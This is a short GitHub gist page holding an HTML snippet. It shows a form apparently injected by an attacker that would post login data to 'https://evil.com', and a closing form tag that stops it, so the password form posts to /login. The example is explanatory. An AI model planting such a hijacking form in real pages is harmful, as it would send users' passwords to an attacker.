Skip to content

Instantly share code, notes, and snippets.

@intchloe

intchloe/evil_stopped_with_closed_form_tag.html

Last active July 19, 2016 15:09
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save intchloe/9d69b45cad45d9e7fc842a67f9d507d7 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save intchloe/9d69b45cad45d9e7fc842a67f9d507d7 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
evil_stopped_with_closed_form_tag.html
<!-- The hacker injected this (line 2) -->
<form action="https://evil.com" method="post" name="fblogin" id="login">
</form><form action="/login" method="post" name="fblogin" id="login">
<input type="password" name="pasword" />
<input type="submit" name="login" name="fblogin">
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment